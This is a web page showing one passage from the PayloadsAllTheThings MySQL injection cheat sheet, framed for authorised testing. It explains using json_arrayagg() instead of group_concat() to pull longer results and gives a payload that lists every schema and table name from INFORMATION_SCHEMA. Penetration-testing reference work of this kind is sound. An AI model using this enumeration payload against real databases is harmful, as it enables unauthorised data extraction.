SQL Injection · passage 111 of 186
1 code block · SQL Injection/MySQL Injection.md
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.
Open this passage on GitHubRequirement: `MySQL >= 5.7.22` Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed * `group_concat()` = 1024 symbols * `json_arrayagg()` > 16,000,000 symbols
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.
Every one of the 186 is a mark on the map. Named now: 105 to 130, reading order first.
Zoom in on the map and the dots under the middle of it are named where they are.
Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP